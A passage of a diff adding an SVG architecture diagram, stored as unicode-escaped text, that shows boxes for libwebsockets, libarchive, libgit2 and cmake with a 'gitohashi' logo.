417.88-0.32316-4.9166\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.032644px\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003crect x\u003d\u0022-47.408\u0022 y\u003d\u0022-408.72\u0022 width\u003d\u002239.617\u0022 height\u003d\u002213.331\u0022 fill\u003d\u0022#008000\u0022 fill-opacity\u003d\u0022.95455\u0022 stroke\u003d\u0022#000\u0022 stroke-linejoin\u003d\u0022round\u0022 stroke-opacity\u003d\u0022.94628\u0022 stroke-width\u003d\u0022.88847\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003ctext x\u003d\u0022-27.2822\u0022 y\u003d\u0022-400.82877\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.0715px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.63394\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-27.2822\u0022 y\u003d\u0022-400.82877\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.63394\u0022\u003elibwebsockets\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003crect x\u003d\u0022-4.3916\u0022 y\u003d\u0022-408.99\u0022 width\u003d\u002227.414\u0022 height\u003d\u002213.477\u0022 fill\u003d\u0022#9aff98\u0022 stroke\u003d\u0022#000\u0022 stroke-linejoin\u003d\u0022round\u0022 stroke-opacity\u003d\u0022.94628\u0022 stroke-width\u003d\u0022.7431\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u00229.165143\u0022 y\u003d\u0022-400.46484\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.0715px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.63394\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u00229.165143\u0022 y\u003d\u0022-400.46484\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.63394\u0022\u003elibarchive\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003crect x\u003d\u002226.94\u0022 y\u003d\u0022-409.1\u0022 width\u003d\u002224.461\u0022 height\u003d\u002213.517\u0022 fill\u003d\u0022#9aff98\u0022 stroke\u003d\u0022#000\u0022 stroke-linejoin\u003d\u0022round\u0022 stroke-opacity\u003d\u0022.94628\u0022 stroke-width\u003d\u0022.70298\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u002239.206753\u0022 y\u003d\u0022-400.74548\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.0715px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.63394\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002239.206753\u0022 y\u003d\u0022-400.74548\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.63394\u0022\u003elibgit2\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(.87389 0 0 .87389 -79.653 -791.47)\u0022\u003e\n+\t\t\t\u003ccircle cx\u003d\u002279.782\u0022 cy\u003d\u0022438.91\u0022 r\u003d\u00224.9835\u0022 fill\u003d\u0022#fff6d5\u0022 fill-opacity\u003d\u0022.97521\u0022 stroke\u003d\u0022#000\u0022 stroke-linejoin\u003d\u0022round\u0022 stroke-width\u003d\u0022.35389\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u002279.842163\u0022 y\u003d\u0022442.10245\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00221.8486px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.23107\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002279.842163\u0022 y\u003d\u0022442.10245\u0022 stroke-width\u003d\u0022.23107\u0022\u003ecmake\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(.87335 0 0 .87335 82.375 74.143)\u0022\u003e\n+\t\t\t\t\u003cg\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.9592 412.95-2.979 6.0355 3.2085-2.7006z\u0022 fill\u003d\u0022url(#f)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.9606 412.96 2.9776 6.0245-2.6573-1.1026z\u0022 fill\u003d\u0022url(#e)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-3.9762 417.33 4.0341 1.6768-6.0192 8e-3z\u0022 fill\u003d\u0022url(#d)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.6494 417.88 2.6605 1.095-0.065289-0.13873-2.5919-1.0753z\u0022 fill\u003d\u0022url(#c)\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-2.9675 412.94-2.9706 6.0717h5.9738z\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.05737\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-2.649 417.88-0.32316-4.9166\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.032644px\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(.87389 0 0 .87389 -18.683 -791.58)\u0022\u003e\n+\t\t\t\u003ccircle cx\u003d\u002279.782\u0022 cy\u003d\u0022438.91\u0022 r\u003d\u00224.9835\u0022 fill\u003d\u0022#fff6d5\u0022 fill-opacity\u003d\u0022.97521\u0022 stroke\u003d\u0022#000\u0022 stroke-linejoin\u003d\u0022round\u0022 stroke-width\u003d\u0022.35389\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u002279.842163\u0022 y\u003d\u0022442.10245\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00221.8486px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.23107\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002279.842163\u0022 y\u003d\u0022442.10245\u0022 stroke-width\u003d\u0022.23107\u0022\u003ecmake\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(.87335 0 0 .87335 82.375 74.143)\u0022\u003e\n+\t\t\t\t\u003cg\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.9592 412.95-2.979 6.0355 3.2085-2.7006z\u0022 fill\u003d\u0022url(#f)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.9606 412.96 2.9776 6.0245-2.6573-1.1026z\u0022 fill\u003d\u0022url(#e)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-3.9762 417.33 4.0341 1.6768-6.0192 8e-3z\u0022 fill\u003d\u0022url(#d)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.6494 417.88 2.6605 1.095-0.065289-0.13873-2.5919-1.0753z\u0022 fill\u003d\u0022url(#c)\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-2.9675 412.94-2.9706 6.0717h5.9738z\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.05737\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-2.649 417.88-0.32316-4.9166\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.032644px\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003cpath d\u003d\u0022m59.745-453.59 4.0881-10.448 0.75845 5.5734-3.814 11.158z\u0022 fill\u003d\u0022url(#i)\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u002211.626454\u0022 y\u003d\u0022-426.9545\u0022 dominant-baseline\u003d\u0022auto\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00222.1167px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.26458\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-alternates:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;font-variant-position:normal;line-height:1.25;shape-padding:0;text-decoration-color:#000000;text-decoration-line:none;text-decoration-style:solid;text-indent:0;text-orientation:mixed;text-transform:none;white-space:normal\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002211.626454\u0022 y\u003d\u0022-426.9545\u0022 stroke-width\u003d\u0022.26458\u0022\u003e(part of gitohashi)\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(3.2533 -.0045713 .0045713 3.2533 -89.586 -861.44)\u0022 fill\u003d\u0022#fff\u0022 filter\u003d\u0022url(#ak)\u0022 stroke\u003d\u0022#fff\u0022 stroke-width\u003d\u0022.075\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal\u0022 aria-label\u003d\u0022gitohashi\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(3.2533 0 0 3.2533 -88.63 -871.26)\u0022\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)\u0022\u003e\n+\t\t\t\t\u003cg transform\u003d\u0022rotate(-9.1961 290.54 412.25)\u0022 fill\u003d\u0022#4d4d4d\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cellipse cx\u003d\u0022289.7\u0022 cy\u003d\u0022412.83\u0022 rx\u003d\u0022.063066\u0022 ry\u003d\u0022.059428\u0022 fill\u003d\u0022url(#g)\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z\u0022 fill\u003d\u0022url(#h)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z\u0022 fill\u003d\u0022#42484c\u0022 fill-opacity\u003d\u0022.72157\u0022/\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(3.2318 -.37344 .37344 3.2318 -133.43 -863.51)\u0022\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)\u0022\u003e\n+\t\t\t\t\u003cg transform\u003d\u0022rotate(-9.1961 290.54 412.25)\u0022 fill\u003d\u0022#4d4d4d\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cellipse cx\u003d\u0022289.7\u0022 cy\u003d\u0022412.83\u0022 rx\u003d\u0022.063066\u0022 ry\u003d\u0022.059428\u0022 fill\u003d\u0022url(#g)\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z\u0022 fill\u003d\u0022url(#h)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z\u0022 fill\u003d\u0022#42484c\u0022 fill-opacity\u003d\u0022.72157\u0022/\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6295662\u0022 y\u003d\u0022125.1535\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext transform\u003d\u0022rotate(-7.0969)\u0022 x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u0022.13449px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.016811\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.6333256\u0022 y\u003d\u0022125.14806\u0022 fill\u003d\u0022#999999\u0022 stroke-width\u003d\u0022.016811\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(3.2533 -.0045713 .0045713 3.2533 -89.572 -861.43)\u0022 stroke-width\u003d\u0022.13209\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal\u0022 aria-label\u003d\u0022gitohashi\u0022\u003e\n+\t\t\t\t\u003cg stroke-width\u003d\u0022.13209\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cg fill\u003d\u0022#800000\u0022\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 